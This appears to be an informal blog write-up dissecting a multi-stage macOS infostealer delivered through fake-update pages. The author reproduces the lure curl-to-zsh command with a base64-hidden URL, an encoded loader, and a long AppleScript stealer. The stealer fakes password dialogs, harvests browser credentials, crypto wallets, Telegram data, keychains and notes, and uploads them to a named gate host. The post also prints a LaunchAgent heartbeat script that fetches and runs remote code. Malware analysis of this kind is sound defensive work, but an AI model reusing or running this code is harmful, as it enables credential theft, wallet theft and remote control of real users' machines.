Sketchy Malware Breakdown

Dissecting a multi-stage macOS stealer that dropped from a malicious redirect

wow

i was doing sketchy shit and was redirected to this malicious website.

image-20260305001827367

https://filedatapassage.com/app1/

cool, so anyways i looked into it bc bored. also saw another one with a github theme

image-20260305002935589

https://accessintegratedsolutionsllc.com/?enHash=YhqWzGX1jwGH

the command:

echo "Downloading Update: https://support.apple.com/downloads/xprotect-remediator-150.dmg" && curl -s $(echo "aHR0cHM6Ly9yYXBpZGZpbGV2YXVsdDQuY3lvdS9kZWJ1Zy9sb2FkZXIuc2g/YnVpbGQ9MzA2OTBjMzM4NzY0YjgzMDdjYWU2NDAwY2I1N2QzOWQ=" | base64 -d) | zsh

ofc the site truncated the command intentionally, ensuring the lhs looked legit.

the base64 you see is a url.

https://rapidfilevault4.cyou/debug/loader.sh?build=30690c338764b8307cae6400cb57d39d

at said url:

#!/bin/zsh
d102df6=$(base64 -D <<'PAYLOAD_bca4dd1a' | gunzip
H4sIAKvHqGkC/71U4XLjNBD+7xneYdGFSzPT2E6TNNceLZQSaGiadEgonQHGI9vrWMSRfJLcNr0ew0PwhDwJkt20acLcDX/wL+1a32p3v2/31edeyLh3r1LnFXyLYTGDTNAYJfz9518Qo8ZIw+lgApTHEGYimsMt0ylozHCBWi6dwSQw/49IQjOFxGGJQSW0yLQCiTSGP7whCyWVS+9SYoISeYTKi8TCpXmeoXs2mAqRheLOzTOmNJxYb5/TMMN4wPNCT0QhDQT2jr0YbzxeZBk8wExiDs13DGShFKP8LegUuQPmW2WkZWESSphTllZWYgqgGQLjiSgLVJQzze4REiHhh8l45AzHpyfDfjAYfTc+qu38j6UwIOe4DAWV8ZAuRaFhRBdIzP/Uvt3smpOWUP+V16G+W6+sZgx18nwmdXP/ATBKBZCCz7m45aThnI0n09HJRd8UlAqluYm7kcJaqG34eBJc9X80YHUb3KBU0MyliItIXxmDCf4y1ja+fz0NBpcGHxUyg6bBNxf0rqmZSaMLqda5OvQ8mjOX5SxZukLONkN+FMkiylN6z3LXUPHfkEkkeMJm7mZDPlJE9aNW2eS5d85nUG9YqX1TsCwuxWTklWC2hEIxPoNcMq4TRyGPg9hOWoA3yPVOA96Xsi21Cf2r6RGptciay4YyD1d4qL8nJY4cki8U2SWhfS5IqUpXHpY/nVQQMbWyKvGvrJUSVrZQJbmGz8rzoW6rvJoSIG1//8CP2u03vf1O+Kbt9yKK+x3fj8JuL24fxGStH6RWjZ89rc2SNVcytOdKU6avtswnjq7h0twBsuJHGlHECcvwxk5hx43MXFiheGX/vKoP0DwDciq4NkZzuszxEOw4GlVoU4z3uzIVlcNRs40kL5WwRvre8euW88EyOEjKlVcuCMMWmB4G5e7DGMo3y22Id0zbdffLWs1HUG0d+G1tH20yDmQtINlKwUJsbPAfd9dI6Jf5VBs6kPiuQKVXSTnb72xe3HoMXjtOTHEheJAUPLINe9Ij3mEEXz7df/Yd/4tvb8NZUTrfmLy2X5L1k0LZPJmZFA/hQtyzLKNe1/Vh54JGRuNCpW9hYPjMwDhgPIFraPlBqxv0GtVO/RnDc6a9brvntvdh5/xsejHchYzNEb7HaC4acJpKsUDvoOX6bqfT23NbrQ5MaEIle4SRT8isklhOl7aJ1YJXkWS5/qqcuKNPD8UDCEUrjNHVRpuNaL4mpv2PTP8DniCfBogHAAA=
PAYLOAD_bca4dd1a
)
eval "$d102df6"

yet another level of hiding shit lol.

running this without evaluating it produces this script:

#!/bin/zsh
# Debug loader - detect CIS and block with telemetry
IS_CIS="false"
if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -qi russian; then
    IS_CIS="true"
fi

# Detect locale info - sanitize for JSON
LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i "KeyboardLayout Name" | head -5 | tr '\n' ',' | tr -d '"' | tr -d "'" || echo "unknown")
HOSTNAME=$(hostname 2>/dev/null | tr -d '"' || echo "unknown")
OS_VER=$(sw_vers -productVersion 2>/dev/null || echo "unknown")
EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2>/dev/null || curl -s --max-time 5 https://icanhazip.com 2>/dev/null || curl -s --max-time 5 https://ifconfig.me 2>/dev/null || echo "unknown")
EXT_IP=$(echo "$EXT_IP" | tr -d '\n ')

# ...sends telemetry, detects CIS machines, then fetches and runs payload.applescript via osascript

crazy, so this was probably made by a russian guy since iirc they cant be touched if a russian citizen isnt affected by whatever they do.

the reason the nesting of scripts happens like this is to obfuscate slight supposedly but also to run the script silently afterwards.

it scrapes user data like hostname, ip address, software versions, input sources etc to bundle with every “debug event” they phone home with. they still collect a bunch of user data for both russian and non-russian machines.

the applescript file is quite big - tl;dr it steals data from apps and persists itself.

Full applescript payload
try
do shell script "killall Terminal"
end try

property writemind : ""

on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer

on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir

on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName

on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName

on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText

on debugLog(msg)
try
set ts to do shell script "date '+%H:%M:%S'"
writeText(ts & " | " & msg & return, writemind & "debug")
end try
end debugLog

on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
debugLog("COPY OK: " & path_to_file & " -> " & path_as_save)
on error errMsg
debugLog("COPY FAIL: " & path_to_file & " | " & errMsg)
end try
end readwrite

on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory

on GrabFolderLimit(sourceFolder, destinationFolder)
try
debugLog("GrabFolderLimit: " & sourceFolder & " -> " & destinationFolder)
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 100 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
on error errMsg
debugLog("GrabFolderLimit FAIL: " & sourceFolder & " | " & errMsg)
end try
end GrabFolderLimit

on GrabFolder(sourceFolder, destinationFolder)
try
debugLog("GrabFolder: " & sourceFolder & " -> " & destinationFolder)
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder

on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid

on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText("VALID: " & provided_password, writemind & "Password")
return provided_password
else
writeText(provided_password, writemind & "invalid_passwords.txt")
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
writeText("NO_PASSWORD_REQUIRED", writemind & "Password")
return ""
else
set attemptCount to 0
set maxAttempts to 10
set validPassword to ""
set gotValidPassword to false
repeat while attemptCount < maxAttempts and gotValidPassword is false
set attemptCount to attemptCount + 1
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
if attemptCount > 3 then
set dialogMsg to "Incorrect password. Please try again. (" & attemptCount & "/" & maxAttempts & ")"
else
set dialogMsg to "Required Application Helper. Please enter password for continue."
end if
set result to display dialog dialogMsg default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if password_entered is not equal to "" then
if checkvalid(username, password_entered) then
writeText("VALID: " & password_entered, writemind & "Password")
set validPassword to password_entered
set gotValidPassword to true
else
writeText("Attempt " & attemptCount & ": " & password_entered, writemind & "invalid_passwords.txt")
end if
end if
end repeat
if gotValidPassword then
return validPassword
else
writeText("NO_VALID_PASSWORD_AFTER_" & maxAttempts & "_ATTEMPTS", writemind & "Password")
return "__INVALID__"
end if
end if
end try
return "__INVALID__"
end getpwd

on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to savePath & "/IndexedDB/" & PFile
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins

on Chromium(writemind, chromium_map)
debugLog("Chromium: starting")
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
debugLog("Chromium: found " & item 1 of chromium & " at " & item 2 of chromium & " profiles: " & (count of fileList))
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
debugLog("Chromium: processing profile " & profileName & " path: " & item 2 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
on error errMsg
debugLog("Chromium: NOT found " & item 1 of chromium & " at " & item 2 of chromium & " | " & errMsg)
end try
end repeat
end Chromium

on Gecko(writemind, gecko_map)
debugLog("Gecko: starting")
set geckoFiles to {"cookies.sqlite", "logins.json", "key4.db", "cert9.db", "places.sqlite", "formhistory.sqlite"}
repeat with gecko in gecko_map
set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
try
set fileList to list folder item 2 of gecko without invisibles
debugLog("Gecko: found " & item 1 of gecko & " at " & item 2 of gecko & " profiles: " & (count of fileList))
repeat with currentItem in fileList
debugLog("Gecko: processing profile " & (currentItem as string) & " path: " & item 2 of gecko & currentItem)
set profilePath to item 2 of gecko & currentItem & "/"
repeat with GFile in geckoFiles
set readpath to profilePath & GFile
set writepath to savePath & currentItem & "/" & GFile
readwrite(readpath, writepath)
end repeat
end repeat
on error errMsg
debugLog("Gecko: NOT found " & item 1 of gecko & " at " & item 2 of gecko & " | " & errMsg)
end try
end repeat
end Gecko

on DesktopWallets(writemind, wallet_map)
debugLog("DesktopWallets: starting, count: " & (count of wallet_map))
repeat with wallet in wallet_map
try
debugLog("DesktopWallets: checking " & item 1 of wallet & " at " & item 2 of wallet)
GrabFolderLimit(item 2 of wallet, writemind & item 1 of wallet)
debugLog("DesktopWallets: done " & item 1 of wallet)
on error errMsg
debugLog("DesktopWallets: FAIL " & item 1 of wallet & " | " & errMsg)
end try
end repeat
end DesktopWallets

on Telegram(writemind, library)
debugLog("Telegram: starting")
try
set tgPath to library & "Telegram Desktop/tdata/"
debugLog("Telegram: checking " & tgPath)
set tgSave to writemind & "Telegram/"
set tgFiles to list folder tgPath without invisibles
debugLog("Telegram: tdata FOUND at " & tgPath & " files: " & (count of tgFiles))
repeat with tgFile in tgFiles
set tgFilePath to tgPath & tgFile
set tgFileSave to tgSave & tgFile
if isDirectory(tgFilePath) then
if (length of (tgFile as string)) is 16 then
GrabFolder(tgFilePath, tgFileSave)
end if
else
if (tgFile as string) ends with "s" and (length of (tgFile as string)) is 17 then
readwrite(tgFilePath, tgFileSave)
end if
if (tgFile as string) is "key_datas" then
readwrite(tgFilePath, tgFileSave)
end if
end if
end repeat
on error errMsg
debugLog("Telegram: NOT found | " & errMsg)
end try
end Telegram

on Keychains(writemind)
debugLog("Keychains: starting")
try
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
debugLog("Keychains: checking " & keychainPath)
set keychainSave to writemind & "Keychains/"
mkdir(keychainSave)
set kcFiles to list folder keychainPath without invisibles
debugLog("Keychains: FOUND " & (count of kcFiles) & " items at " & keychainPath)
repeat with kcFile in kcFiles
set kcFilePath to keychainPath & kcFile
set kcFileSave to keychainSave & kcFile
if isDirectory(kcFilePath) then
GrabFolder(kcFilePath, kcFileSave)
else
readwrite(kcFilePath, kcFileSave)
end if
end repeat
on error errMsg
debugLog("Keychains: FAIL | " & errMsg)
end try
end Keychains

on CloudKeys(writemind)
debugLog("CloudKeys: starting")
try
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
set cloudSave to writemind & "iCloud/"
debugLog("CloudKeys: checking " & cloudPath)
GrabFolder(cloudPath, cloudSave)
debugLog("CloudKeys: done")
on error errMsg
debugLog("CloudKeys: FAIL | " & errMsg)
end try
end CloudKeys

on Filegrabber(writemind, profile)
debugLog("Filegrabber: starting")
try
debugLog("Filegrabber: Safari from " & profile & "/Library/Cookies/ and /Library/Safari/")
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
debugLog("Filegrabber: Apple Notes from " & profile & "/Library/Group Containers/group.com.apple.notes/")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
try
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History", writemind & "History-sqlite")
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History-journal", writemind & "History-sqlite-journal")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite", writemind & "places.sqlite")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite-wal", writemind & "places.sqlite-wal")
end try
end Filegrabber

-- ============================================================
-- MAIN EXECUTION
-- ============================================================

set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/shub_" & randomNumber & "/"
set library to profile & "/Library/Application Support/"

mkdir(writemind)
debugLog("=== SCRIPT START ===")
debugLog("Username: " & username)

set localeInfo to ""
try
set localeInfo to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i KeyboardLayout | head -3 | sed 's/[^a-zA-Z0-9 ,=]//g' | tr -s ' ' | paste -sd, - || echo unknown"
end try

set hostName to ""
try
set hostName to do shell script "hostname"
end try
set osVersion to ""
try
set osVersion to do shell script "sw_vers -productVersion"
end try

set isCIS to "false"
try
set cisCheck to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -ci russian || echo 0"
if cisCheck is not equal to "0" then
set isCIS to "true"
end if
end try

set externalIP to "Unknown"
try
set externalIP to do shell script "curl -s --max-time 5 $(echo 'aHR0cHM6Ly9hcGkuaXBpZnkub3Jn' | base64 -d) || curl -s --max-time 5 $(echo 'aHR0cHM6Ly9pY2FuaGF6aXAuY29t' | base64 -d) || echo 'Unknown'"
end try

set password_entered to getpwd(username, writemind, "")

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}

set geckoMap to {}
set geckoMap to geckoMap & {{"Firefox", library & "Firefox/Profiles/"}}

set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "Atomic Wallet/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Sparrow", profile & "/.sparrow/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Wasabi", profile & "/.walletwasabi/client/Wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Bitcoin_Core", library & "Bitcoin/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Ledger Live", library & "Ledger Live/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Trezor Suite", library & "@trezor"}}

readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")
writeText(username, writemind & "Username")

Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
Gecko(writemind, geckoMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)
CloudKeys(writemind & "Profile/")
Filegrabber(writemind, profile)

set archivePath to "/tmp/shub_log.zip"
do shell script "ditto -c -k --sequesterRsrc " & quoted form of writemind & " " & quoted form of archivePath

set gateUrl to do shell script "echo 'aHR0cHM6Ly9yYXBpZGZpbGV2YXVsdDQuY3lvdS9nYXRl' | base64 -d"
set apiKey to "61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f"

-- upload zip (chunked if > 89MB)
-- inject into Exodus, Atomic, Ledger, Trezor wallet apps

-- persistence via LaunchAgent masquerading as Google Keystone
set persistDir to (POSIX path of (path to home folder)) & "Library/Application Support/Google/"
set appDir to persistDir & "GoogleUpdate.app/Contents/MacOS/"
set plistDir to (POSIX path of (path to home folder)) & "Library/LaunchAgents/"
do shell script "mkdir -p " & quoted form of appDir
-- writes heartbeat script + loads com.google.keystone.agent.plist via launchctl

display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"OK"}

first, it kills all terminals. it defines some helpers for filesystem access etc., the defs after this are then for going through your applications, like safari for browsing data, cookies, autofill, chrome for browsing data, cookies, passwords, wallets etc., gets telegram data, grabs notes sqlite db, user keychains, icloud data, it injects into various crypto wallet apps presumably. it also retrieves shell history and git configs.

after the helper defs, the script actually runs stuff. it sets username var, sets profile to your home directory, generates a random number to probably use as a unique identifier, and defines application support path too. then it gets some os ver data, hostname and then tries to detect whether or not you’re russian, though apparently this check isn’t used to prevent execution at this point.

the script then tries to fool the user into giving up their credentials again to get elevation.

image-20260305011110498

This ain’t even bad icl. anyways this helps the script gain access to more data.

it collates collected data into a folder in tmp. if the zip file it produces is less than 89mb, then the whole thing is POSTed to the obfuscated gateUrl https://rapidfilevault4.cyou/gate. they even have an api key.

if needed, chunks of 85mb ish are made and uploaded to the same endpoint but with chunk params.

all of the logs the script produced were sent to https://rapidfilevault4.cyou/api/debug/event like before.

the script then injects into various wallet apps, since they’re all electron garbage apps they can inject whatever and re-codesign locally so macos won’t complain about modified bundle files.

lastly, the script writes a new plist under the guise of google chrome’s updater, to persist on the mac. it then makes launchctl load the new plist and creates one last new window to tell the user that the new pirated app they tried to download couldn’t run.

the plist itself is very fun:

#!/bin/bash
GATE_URL="https://rapidfilevault4.cyou"
BOT_ID=$(ioreg -d2 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}')
BUILD_ID="d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f"
BUILD_NAME="qq1"
HOSTNAME=$(hostname)
IP=$(curl -s https://api.ipify.org 2>/dev/null || echo unknown)
OS_VER=$(sw_vers -productVersion)
RESP=$(curl -s -X POST "$GATE_URL/api/bot/heartbeat" -H "Content-Type: application/json" -d '{"bot_id":"'"$BOT_ID"'","build_id":"'"$BUILD_ID"'","build_name":"'"$BUILD_NAME"'","hostname":"'"$HOSTNAME"'","ip":"'"$IP"'","os_ver":"'"$OS_VER"'"}')
CODE=$(echo "$RESP" | sed -n 's/.*"code":"\([^"]*\)".*/\1/p')
if [ -n "$CODE" ]; then
  echo "$CODE" | base64 -d > /tmp/.c.sh && chmod +x /tmp/.c.sh && /tmp/.c.sh & rm -f /tmp/.c.sh
fi

basically remote code execution. awesome! it runs every minute from login, polling the sketchy site for scripts to execute. device uuid gets used to track individual infected hosts.